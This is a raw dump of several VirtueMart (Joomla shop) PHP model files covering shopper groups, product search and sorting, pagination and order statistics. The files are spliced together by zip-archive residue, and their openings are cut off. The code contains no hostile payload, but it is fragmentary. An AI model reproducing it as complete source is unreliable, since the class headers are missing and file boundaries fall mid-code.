$where[] = ' `#__virtuemart_shoppergroups`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_permgroups`',$whereString,'',$this->_getOrdering()); } } PK@y>\@<</components/com_virtuemart/models/virtuemart.phpnuW+A_getListCount($query); } /** * Gets the total number of active products * * @author RickG * @return int Total number of active products in the database */ function getTotalActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="1"'; return $this->_getListCount($query); } /** * Gets the total number of inactive products * * @author RickG * @return int Total number of inactive products in the database */ function getTotalInActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="0"'; return $this->_getListCount($query); } /** * Gets the total number of featured products * * @author RickG * @return int Total number of featured products in the database */ function getTotalFeaturedProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `product_special`="1"'; return $this->_getListCount($query); } /** * Gets the total number of orders with the given status * * @author RickG * @return int Total number of orders with the given status */ function getTotalOrdersByStatus() { $query = 'SELECT `#__virtuemart_orderstates`.`order_status_name`, `#__virtuemart_orderstates`.`order_status_code`, '; $query .= '(SELECT count(virtuemart_order_id) FROM `#__virtuemart_orders` WHERE `#__virtuemart_orders`.`order_status` = `#__virtuemart_orderstates`.`order_status_code`) as order_count '; $query .= 'FROM `#__virtuemart_orderstates`'; return $this->_getList($query); } /** * Gets a list of recent orders * * @author RickG * @return ObjectList List of recent orders. */ function getRecentOrders($nbrOrders=5) { $query = 'SELECT * FROM `#__virtuemart_orders` ORDER BY `created_on` desc'; return $this->_getList($query, 0, $nbrOrders); } /** * Gets a list of recent customers * * @author RickG * @return ObjectList List of recent orders. */ function getRecentCustomers($nbrCusts=5) { $query = 'SELECT `id` as `virtuemart_user_id`, `first_name`, `last_name`, `order_number` FROM `#__users` as `u` '; $query .= 'JOIN `#__virtuemart_vmusers` as uv ON u.id = uv.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_userinfos` as ui ON u.id = ui.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_orders` as uo ON u.id = uo.virtuemart_user_id '; $query .= 'WHERE `perms` <> "admin" '; $query .= 'AND `perms` <> "storeadmin" '; $query .= 'AND INSTR(`usertype`, "administrator") = 0 AND INSTR(`usertype`, "Administrator") = 0 '; $query .= ' ORDER BY uo.`created_on` DESC'; return $this->_getList($query, 0, $nbrCusts); } } //pure php no tagPK@y>\$$1components/com_virtuemart/models/shoppergroup.phpnuW+AsetMainTable('shoppergroups'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Markus Öhler */ function getShopperGroup() { if (empty($this->_data)) { $this->_data = $this->getTable('shoppergroups'); $this->_data->load((int) $this->_id); if(!empty($this->_data->price_display)){ $this->_data->price_display = unserialize($this->_data->price_display); } else{ if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $this->_data->price_display = new JParameter(''); } } return $this->_data; } /** * Retireve a list of shopper groups from the database. * * @author Markus Öhler * @param boolean $onlyPublished * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of shopper group objects */ function getShopperGroups($onlyPublished=false, $noLimit = false) { $db = JFactory::getDBO(); $query = 'SELECT * FROM `#__virtuemart_shoppergroups` ORDER BY `virtuemart_vendor_id`,`shopper_group_name` '; if ($noLimit) { $this->_data = $this->_getList($query); } else { $this->_data = $this->_getList($query, $this->getState('limitstart'), $this->getState('limit')); } return $this->_data; } function store(&$data){ $myfields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); $param ='show_prices='.$data['show_prices']."\n"; foreach($myfields as $fields){ $param .= $fields.'='.$data[$fields]."\n"; //attention there must be doublequotes $param .= $fields.'Text='.$data[$fields.'Text']."\n"; $param .= $fields.'Rounding='.$data[$fields.'Rounding']."\n"; } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $jparam = new JParameter($param); $data['price_display'] = serialize(new JParameter($param)); return parent::store($data); } function makeDefault($id,$kind = 1) { //Prevent making anonymous Shoppergroup as default $adId = $this->getDefault(1); $anonymous_sg_id = $adId->virtuemart_shoppergroup_id; if($adId == $id){ $group = $this->getShoppergroupById($id); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT',$group->shopper_group_name,$id)); return false; } $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = 0 WHERE `default`<"2"'); if (!$this->_db->query()) return ; $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = "'.$kind.'" WHERE virtuemart_shoppergroup_id='.(int)$id); if (!$this->_db->query()) return ; return true; } /** * * Get default shoppergroup for anonymous and non anonymous * @param unknown_type $kind */ function getDefault($kind = 1, $onlyPublished = FALSE, $vendorId = 1){ $kind = $kind + 1; $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE `default` = "'.$kind.'" AND (`virtuemart_vendor_id` = "'.$vendorId.'" OR `shared` = "1") '; if($onlyPublished){ $q .= ' AND `published`="1" '; } $this->_db->setQuery($q); if(!$res = $this->_db->loadObject()){ $app = JFactory::getApplication(); $app->enqueueMessage('Attention no standard shopper group set '.$this->_db->getErrorMsg()); } else { //vmdebug('getDefault', $res); return $res; } } function appendShopperGroups(&$shopperGroups,$user,$onlyPublished = FALSE,$vendorId=1,$keepDefault = false){ $this->mergeSessionSgrps($shopperGroups); if(count($shopperGroups)<1 or $keepDefault){ $_defaultShopperGroup = $this->getDefault($user->guest,$onlyPublished,$vendorId); if(!in_array($_defaultShopperGroup->virtuemart_shoppergroup_id,$shopperGroups)){ $shopperGroups[] = $_defaultShopperGroup->virtuemart_shoppergroup_id; } } $this->removeSessionSgrps($shopperGroups); } function mergeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids = $session->get('vm_shoppergroups_add',array(),'vm'); $ids = array_merge($ids,(array)$shoppergroup_ids); $ids = array_unique($ids); //$session->set('vm_shoppergroups_add',array(),'vm'); //vmdebug('mergeSessionSgrps',$shoppergroup_ids,$ids); } function removeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids_remove = $session->get('vm_shoppergroups_remove',0,'vm'); if($shoppergroup_ids_remove!==0){ if(!is_array($shoppergroup_ids_remove)){ $shoppergroup_ids_remove = (array) $shoppergroup_ids_remove; } foreach($shoppergroup_ids_remove as $k => $id){ if(in_array($id,$ids)){ $key=array_search($id, $ids); if($key!==FALSE){ unset($ids[$key]); vmdebug('Anonymous case, remove session shoppergroup by plugin '.$id); } } } //$session->set('vm_shoppergroups_remove',0,'vm'); } } function remove($ids){ jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($ids); $table = $this->getTable($this->_maintablename); $defaultSgId = $this->getDefault(0); $anonymSgId = $this->getDefault(1); foreach($ids as $id){ //Test if shoppergroup is default if($id == $defaultSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup is default if($id == $anonymSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup has members $this->_db->setQuery('SELECT * FROM `#__virtuemart_vmuser_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); if($this->_db->loadResult()){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS',vmText::_($name),$id)); continue; } if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$table->getError()); return false; } } return true; } /** * Retrieves the Shopper Group Info of the SG specified by $id * * @param int $id * @param boolean $default_group * @return array */ static function getShoppergroupById($id, $default_group = false) { $virtuemart_vendor_id = 1; $db = JFactory::getDBO(); $q = 'SELECT `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`, `#__virtuemart_shoppergroups`.`shopper_group_name`, `default` AS default_shopper_group FROM `#__virtuemart_shoppergroups`'; if (!empty($id) && !$default_group) { $q .= ', `#__virtuemart_vmuser_shoppergroups`'; $q .= ' WHERE `#__virtuemart_vmuser_shoppergroups`.`virtuemart_user_id`="'.(int)$id.'" AND '; $q .= '`#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`=`#__virtuemart_vmuser_shoppergroups`.`virtuemart_shoppergroup_id`'; } else { $q .= ' WHERE `#__virtuemart_shoppergroups`.`virtuemart_vendor_id`="'.(int)$virtuemart_vendor_id.'" AND `default`="2"'; } $db->setQuery($q); return $db->loadAssocList(); } } // pure php no closing tagPK@y>\Gnn,components/com_virtuemart/models/product.phpnuW+AsetMainTable ('products'); $this->starttime = microtime (TRUE); $this->maxScriptTime = VmConfig::getExecutionTime() * 0.95 - 1; $this->memory_limit = VmConfig::getMemoryLimit()-4; // $this->addvalidOrderingFieldName(array('m.mf_name','pp.product_price')); $app = JFactory::getApplication (); if ($app->isSite ()) { $this->_validOrderingFieldName = array(); $browseOrderByFields = VmConfig::get ('browse_orderby_fields',array('product_sku','category_name','mf_name','product_name')); } else { if (!class_exists ('shopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $browseOrderByFields = ShopFunctions::getValidProductFilterArray (); $this->addvalidOrderingFieldName (array('product_price','product_sales')); //$this->addvalidOrderingFieldName (array('product_price')); // vmdebug('$browseOrderByFields',$browseOrderByFields); } $this->addvalidOrderingFieldName ((array)$browseOrderByFields); $this->removevalidOrderingFieldName ('virtuemart_product_id'); //$this->removevalidOrderingFieldName ('product_sales'); //unset($this->_validOrderingFieldName[0]);//virtuemart_product_id array_unshift ($this->_validOrderingFieldName, 'p.virtuemart_product_id'); $this->_selectedOrdering = VmConfig::get ('browse_orderby_field', '`p`.virtuemart_product_id'); $this->setToggleName('product_special'); $this->initialiseRequests (); //This is just done now for the moment for developing, the idea is of course todo this only when needed. $this->updateRequests (); } var $keyword = ""; var $product_parent_id = FALSE; var $virtuemart_manufacturer_id = FALSE; var $virtuemart_category_id = 0; var $search_type = ''; var $searchcustoms = FALSE; var $searchplugin = 0; var $filter_order = 'p.virtuemart_product_id'; var $filter_order_Dir = 'DESC'; var $valid_BE_search_fields = array('product_name', 'product_sku','product_gtin','product_mpn','`l`.`slug`', 'product_s_desc', '`l`.`metadesc`'); private $_autoOrder = 0; private $orderByString = 0; private $listing = FALSE; /** * This function resets the variables holding request depended data to the initial values * * @author Max Milbers */ function initialiseRequests () { $this->keyword = ""; $this->valid_search_fields = $this->valid_BE_search_fields; $this->product_parent_id = FALSE; $this->virtuemart_manufacturer_id = FALSE; $this->search_type = ''; $this->searchcustoms = FALSE; $this->searchplugin = 0; $this->filter_order = VmConfig::get ('browse_orderby_field'); ; $this->filter_order_Dir = VmConfig::get('prd_brws_orderby_dir', 'ASC'); $this->_uncategorizedChildren = null; } /** * This functions updates the variables of the model which are used in the sortSearchListQuery * with the variables from the Request * * @author Max Milbers */ function updateRequests () { $this->keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); if ($this->keyword == "") { $this->keyword = vRequest::uword ('filter_product', "", ' ,-,+,.,_,#,/'); JRequest::setVar('filter_product',$this->keyword); JRequest::setVar('keyword',$this->keyword); } else { JRequest::setVar('keyword',$this->keyword); } $app = JFactory::getApplication (); $option = 'com_virtuemart'; $view = 'product'; if ($app->isSite ()) { $filter_order = JRequest::getString ('orderby', "0"); if($filter_order == "0"){ $filter_order_raw = $this->getLastProductOrdering($this->_selectedOrdering); $filter_order = $this->checkFilterOrder ($filter_order_raw); } else { vmdebug('my $filter_order ',$filter_order); $filter_order = $this->checkFilterOrder ($filter_order); vmdebug('my $filter_order after check',$filter_order); $this->setLastProductOrdering($filter_order); } $filter_order_Dir = strtoupper (JRequest::getWord ('dir', VmConfig::get('prd_brws_orderby_dir', 'ASC'))); $valid_search_fields = VmConfig::get ('browse_search_fields'); //vmdebug('$valid_search_fields ',$valid_search_fields); //unset($valid_search_fields[] } else { $filter_order = strtolower ($app->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter_order', 'filter_order', $this->_selectedOrdering, 'cmd')); $filter_order = $this->checkFilterOrder ($filter_order); $filter_order_Dir = strtoupper ($app->getUserStateFromRequest ($option . '.' . $view . '.filter_order_Dir', 'filter_order_Dir', '', 'word')); $valid_search_fields = $this->valid_BE_search_fields; } $filter_order_Dir = $this->checkFilterDir ($filter_order_Dir); $this->filter_order = $filter_order; $this->filter_order_Dir = $filter_order_Dir; $this->valid_search_fields = $valid_search_fields; $this->product_parent_id = JRequest::getInt ('product_parent_id', FALSE); $this->virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', FALSE); $this->search_type = JRequest::getVar ('search_type', ''); $this->searchcustoms = JRequest::getVar ('customfields', array(), 'default', 'array'); $this->searchplugin = JRequest::getInt ('custom_parent_id', 0); } /** * @author Max Milbers */ public function getLastProductOrdering($default = 0){ $session = JFactory::getSession(); return $session->get('vmlastproductordering', $default, 'vm'); } /** * @author Max Milbers */ public function setLastProductOrdering($ordering){ $session = JFactory::getSession(); return $session->set('vmlastproductordering', (string) $ordering, 'vm'); } /** * Sets the keyword variable for the search * * @param string $keyword */ function setKeyWord ($keyword) { $this->keyword = $keyword; } /** * New function for sorting, searching, filtering and pagination for product ids. * * @author Max Milbers */ function sortSearchListQuery ($onlyPublished = TRUE, $virtuemart_category_id = FALSE, $group = FALSE, $nbrReturnProducts = FALSE) { $app = JFactory::getApplication (); //User Q.Stanley said that removing group by is increasing the speed of product listing in a bigger shop (10k products) by factor 60 //So what was the reason for that we have it? TODO experiemental, find conditions for the need of group by $groupBy = ' group by p.`virtuemart_product_id` '; //administrative variables to organize the joining of tables $joinCategory = FALSE; $joinCatLang = false; $joinMf = FALSE; $joinMfLang = false; $joinPrice = FALSE; $joinCustom = FALSE; $joinShopper = FALSE; $joinChildren = FALSE; $joinLang = false; $orderBy = ' '; $where = array(); $useCore = TRUE; if ($this->searchplugin !== 0) { //reset generic filters ! Why? the plugin can do it, if it wishes it. // if ($this->keyword ==='') $where=array(); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $PluginJoinTables = array(); $ret = $dispatcher->trigger ('plgVmAddToSearch', array(&$where, &$PluginJoinTables, $this->searchplugin)); foreach ($ret as $r) { if (!$r) { $useCore = FALSE; } } } if ($useCore) { $isSite = $app->isSite (); // if ( $this->keyword !== "0" and $group ===false) { if (!empty($this->keyword) and $this->keyword !== '' and $group === FALSE) { $keyword = '"%' .str_replace(array(' ','-'),'%',$this->_db->getEscaped( $this->keyword, true )). '%"'; //$keyword = '"%' . $this->_db->getEscaped ($this->keyword, TRUE) . '%"'; foreach ($this->valid_search_fields as $searchField) { if ($searchField == 'category_name' || $searchField == 'category_description') { //$joinCategory = TRUE; $joinCatLang = true; } else if ($searchField == 'mf_name') { //$joinMf = TRUE; $joinMfLang = true; } else if ($searchField == 'product_price') { $joinPrice = TRUE; } else if (!$joinLang and ($searchField == 'product_name' or $searchField == 'product_s_desc' or $searchField == 'product_desc' or $searchField == '`p`.product_sku' or $searchField == '`l`.slug') ){ $joinLang = TRUE; } if (strpos ($searchField, '`') !== FALSE){ $keywords_plural = preg_replace('/\s+/', '%" AND '.$searchField.' LIKE "%', $keyword); $filter_search[] = $searchField . ' LIKE ' . $keywords_plural; } else { $keywords_plural = preg_replace('/\s+/', '%" AND `'.$searchField.'` LIKE "%', $keyword); $filter_search[] = '`'.$searchField.'` LIKE '.$keywords_plural; //$filter_search[] = '`' . $searchField . '` LIKE ' . $keyword; } } if (!empty($filter_search)) { $where[] = '(' . implode (' OR ', $filter_search) . ')'; } else { $where[] = '`product_name` LIKE ' . $keyword; $joinLang = TRUE; //If they have no check boxes selected it will default to product name at least. } } // vmdebug('my $this->searchcustoms ',$this->searchcustoms); if (!empty($this->searchcustoms)) { $joinCustom = TRUE; foreach ($this->searchcustoms as $key => $searchcustom) { $custom_search[] = '(pf.`virtuemart_custom_id`="' . (int)$key . '" and pf.`custom_value` like "%' . $this->_db->getEscaped ($searchcustom, TRUE) . '%")'; } $where[] = " ( " . implode (' OR ', $custom_search) . " ) "; } if ($onlyPublished) { $where[] = ' p.`published`="1" '; } if($isSite and !VmConfig::get('use_as_catalog',0)) { if (VmConfig::get('stockhandle','none')=='disableit_children') { $where[] = ' ((p.`product_in_stock` - p.`product_ordered`) >"0" OR (children.`product_in_stock` - children.`product_ordered`) > "0") '; $joinChildren = TRUE; } else if (VmConfig::get('stockhandle','none')=='disableit') { $where[] = ' p.`product_in_stock` - p.`product_ordered` >"0" '; } } if ($virtuemart_category_id > 0) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` = ' . $virtuemart_category_id; } else if ($isSite and !VmConfig::get('show_uncat_child_products',TRUE)) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` > 0 '; } if ($this->product_parent_id) { $where[] = ' p.`product_parent_id` = ' . $this->product_parent_id; } if ($isSite) { $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getUser (); $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; if (is_array ($virtuemart_shoppergroup_ids)) { $sgrgroups = array(); foreach ($virtuemart_shoppergroup_ids as $key => $virtuemart_shoppergroup_id) { $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" '; } $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id` IS NULL '; $where[] = " ( " . implode (' OR ', $sgrgroups) . " ) "; $joinShopper = TRUE; } } if ($this->virtuemart_manufacturer_id) { $joinMf = TRUE; $where[] = ' `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` = ' . $this->virtuemart_manufacturer_id; } // Time filter if ($this->search_type != '') { $search_order = $this->_db->getEscaped (JRequest::getWord ('search_order') == 'bf' ? '<' : '>'); switch ($this->search_type) { case 'parent': $where[] = 'p.`product_parent_id` = "0"'; break; case 'product': $where[] = 'p.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'price': $joinPrice = TRUE; $where[] = 'pp.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'withoutprice': $joinPrice = TRUE; $where[] = 'pp.`product_price` IS NULL'; break; case 'stockout': $where[] = ' p.`product_in_stock`- p.`product_ordered` < 1'; break; case 'stocklow': $where[] = 'p.`product_in_stock`- p.`product_ordered` < p.`low_stock_notification`'; break; } } // special orders case //vmdebug('my filter ordering ',$this->filter_order); $ff_select_price = ''; switch ($this->filter_order) { case '`p`.product_special': if($isSite){ $where[] = ' p.`product_special`="1" '; // TODO Change to a individual button $orderBy = 'ORDER BY RAND()'; } else { $orderBy = 'ORDER BY p.`product_special`'; } break; case 'category_name': $orderBy = ' ORDER BY `category_name` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'category_description': $orderBy = ' ORDER BY `category_description` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'mf_name': $orderBy = ' ORDER BY `mf_name` '; $joinMf = TRUE; $joinMfLang = true; break; case 'pc.ordering': $orderBy = ' ORDER BY `pc`.`ordering` '; $joinCategory = TRUE; break; case 'product_price': //$filters[] = 'p.`virtuemart_product_id` = p.`virtuemart_product_id`'; //$orderBy = ' ORDER BY `product_price` '; //$orderBy = ' ORDER BY `ff_final_price`, `product_price` '; $orderBy = ' ORDER BY `product_price` '; $ff_select_price = ' , IF(pp.override, pp.product_override_price, pp.product_price) as product_price '; $joinPrice = TRUE; break; case '`p`.created_on': $orderBy = ' ORDER BY p.`created_on` '; break; default; if (!empty($this->filter_order)) { $orderBy = ' ORDER BY ' . $this->filter_order . ' '; } else { $this->filter_order_Dir = ''; } break; } //Group case from the modules if ($group) { $latest_products_days = VmConfig::get ('latest_products_days', 7); $latest_products_orderBy = VmConfig::get ('latest_products_orderBy','created_on'); $groupBy = 'group by p.`virtuemart_product_id` '; switch ($group) { case 'featured': $where[] = 'p.`product_special`="1" '; $orderBy = 'ORDER BY RAND() '; break; case 'latest': $date = JFactory::getDate (time () - (60 * 60 * 24 * $latest_products_days)); $dateSql = $date->toMySQL (); //$where[] = 'p.`' . $latest_products_orderBy . '` > "' . $dateSql . '" '; $orderBy = 'ORDER BY p.`' . $latest_products_orderBy . '`'; $this->filter_order_Dir = 'DESC'; break; case 'random': $orderBy = ' ORDER BY RAND() '; //LIMIT 0, '.(int)$nbrReturnProducts ; //TODO set limit LIMIT 0, '.(int)$nbrReturnProducts; break; case 'topten': $orderBy = ' ORDER BY p.`product_sales` '; //LIMIT 0, '.(int)$nbrReturnProducts; //TODO set limitLIMIT 0, '.(int)$nbrReturnProducts; $joinPrice = true; $where[] = 'pp.`product_price`>"0.0" '; $this->filter_order_Dir = 'DESC'; break; case 'recent': $rSession = JFactory::getSession(); $rIds = $rSession->get('vmlastvisitedproductids', array(), 'vm'); // get recent viewed from browser session return $rIds; } $this->searchplugin = FALSE; } } $joinedTables = array(); //This option switches between showing products without the selected language or only products with language. if($app->isSite() and !VmConfig::get('prodOnlyWLang',true)){ //Maybe we have to join the language to order by product name, description, etc,... if(!$joinLang){ $productLangFields = array('product_s_desc','product_desc','product_name','metadesc','metakey','slug'); foreach($productLangFields as $field){ if(strpos($orderBy,$field,6)!==FALSE){ $joinLang = true; break; } } } } else { $joinLang = true; } $select = ' p.`virtuemart_product_id`'.$ff_select_price.' FROM `#__virtuemart_products` as p '; if ($joinLang) { $joinedTables[] = ' INNER JOIN `#__virtuemart_products_' . VmConfig::$vmlang . '` as l using (`virtuemart_product_id`)'; } if ($joinShopper == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_shoppergroups` as ps ON p.`virtuemart_product_id` = `ps`.`virtuemart_product_id` '; //$joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_shoppergroups` as s ON s.`virtuemart_shoppergroup_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_shoppergroup_id` '; } if ($joinCategory == TRUE or $joinCatLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_categories` as pc ON p.`virtuemart_product_id` = `pc`.`virtuemart_product_id` '; if($joinCatLang){ $joinedTables[] = ' LEFT JOIN `#__virtuemart_categories_' . VMLANG . '` as c ON c.`virtuemart_category_id` = `pc`.`virtuemart_category_id`'; } } if ($joinMf == TRUE or $joinMfLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_manufacturers` ON p.`virtuemart_product_id` = `#__virtuemart_product_manufacturers`.`virtuemart_product_id` '; if($joinMfLang){ $joinedTables[] = 'LEFT JOIN `#__virtuemart_manufacturers_' . VMLANG . '` as m ON m.`virtuemart_manufacturer_id` = `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` '; } } if ($joinPrice == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_prices` as pp ON p.`virtuemart_product_id` = pp.`virtuemart_product_id` '; } if ($this->searchcustoms) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_customfields` as pf ON p.`virtuemart_product_id` = pf.`virtuemart_product_id` '; } if ($this->searchplugin !== 0) { if (!empty($PluginJoinTables)) { $plgName = $PluginJoinTables[0]; $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_custom_plg_' . $plgName . '` as ' . $plgName . ' ON ' . $plgName . '.`virtuemart_product_id` = p.`virtuemart_product_id` '; } } if ($joinChildren) { $joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_products` children ON p.`virtuemart_product_id` = children.`product_parent_id` '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode ("\n AND ", $where) . ') '; } else { $whereString = ''; } //vmdebug ( $joinedTables.' joined ? ',$select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir ); /* jexit(); */ $this->orderByString = $orderBy; if($this->_onlyQuery){ return (array($select,$joinedTables,$where,$orderBy,$joinLang)); } $joinedTables = " \n".implode(" \n",$joinedTables); $product_ids = $this->exeSortSearchListQuery (2, $select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir, $nbrReturnProducts); return $product_ids; } /** * Override * * @see VmModel::setPaginationLimits() */ public function setPaginationLimits () { $app = JFactory::getApplication (); $view = JRequest::getWord ('view','virtuemart'); $cateid = JRequest::getInt ('virtuemart_category_id', -1); $manid = JRequest::getInt ('virtuemart_manufacturer_id', 0); $limitString = 'com_virtuemart.' . $view . 'c' . $cateid . '.limit'; $limit = (int)$app->getUserStateFromRequest ($limitString, 'limit'); $limitStartString = 'com_virtuemart.' . $view . '.limitstart'; if ($app->isSite () and ($cateid != -1 or $manid != 0) ) { $lastCatId = ShopFunctionsF::getLastVisitedCategoryId (); $lastManId = ShopFunctionsF::getLastVisitedManuId (); vmdebug('setPaginationLimits is site and $cateid,$manid ',$cateid,$lastCatId,$manid); if( !empty($cateid) and $cateid != -1) { $gCatId = $cateid; } else if( !empty($lastCatId) ) { $gCatId = $lastCatId; } if(!empty($gCatId)){ $catModel= VmModel::getModel('category'); $category = $catModel->getCategory($gCatId); } else { $category = new stdClass(); } if ((!empty($lastCatId) and $lastCatId != $cateid) or (!empty($manid) and $lastManId != $manid)) { //We are in a new category or another manufacturer, so we start at page 1 $limitStart = JRequest::getInt ('limitstart', 0); } else { //We were already in the category/manufacturer, so we take the value stored in the session $limitStartString = 'com_virtuemart.' . $view . 'c' . $cateid .'m'.$manid. '.limitstart'; $limitStart = $app->getUserStateFromRequest ($limitStartString, 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit) and !empty($category->limit_list_initial)){ $suglimit = $category->limit_list_initial; } else if(!empty($limit)){ $suglimit = $limit; } else { $suglimit = VmConfig::get ('llimit_init_FE', 20); } if(empty($category->products_per_row)){ $category->products_per_row = VmConfig::get ('products_per_row', 3); } $rest = $suglimit%$category->products_per_row; $limit = $suglimit - $rest; if(!empty($category->limit_list_step)){ $prod_per_page = explode(",",$category->limit_list_step); } else { //fix by hjet $prod_per_page = explode(",",VmConfig::get('pagseq_'.$category->products_per_row)); } if($limit <= $prod_per_page['0'] && array_key_exists('0',$prod_per_page)){ $limit = $prod_per_page['0']; } //vmdebug('Calculated $limit ',$limit,$suglimit); } else { $limitStart = $app->getUserStateFromRequest ('com_virtuemart.' . $view . '.limitstart', 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState ('limit', $limit); $this->setState ($limitString, $limit); $this->_limit = $limit; //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil ((float)$limitStart / (float)$limit) * $limit; $this->setState ('limitstart', $limitStart); $this->setState ($limitStartString, $limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart, $this->_limit); } /** * This function creates a product with the attributes of the parent. * * @param int $virtuemart_product_id * @param boolean $front for frontend use * @param boolean $withCalc calculate prices? * @param boolean published * @param int quantity * @param boolean load customfields */ public function getProduct ($virtuemart_product_id = NULL, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $quantity = 1,$customfields = TRUE,$virtuemart_shoppergroup_ids=0) { if (isset($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } else { if (empty($this->_id)) { vmError('Can not return product with empty id'); return FALSE; } else { $virtuemart_product_id = $this->_id; } } if($virtuemart_shoppergroup_ids !=0 and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else { $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $withCalc = $withCalc?TRUE:0; $onlyPublished = $onlyPublished?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.$withCalc.$customfields.$this->withRating; static $_products = array(); // vmdebug('$productKey, not from cache : '.$productKey); if (array_key_exists ($productKey, $_products)) { //vmdebug('getProduct, take from cache : '.$productKey); return $_products[$productKey]; } else if(!$customfields or !$withCalc){ $productKeyTmp = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.TRUE.TRUE.TRUE; if (array_key_exists ($productKeyTmp, $_products)) { //vmdebug('getProduct, take from cache full product '.$productKeyTmp); return $_products[$productKeyTmp]; } } if ($this->memory_limit<$mem = round(memory_get_usage(FALSE)/(1024*1024),2)) { vmdebug ('Memory limit reached in model product getProduct('.$virtuemart_product_id.'), $customfields= '.$customfields.' consumed: 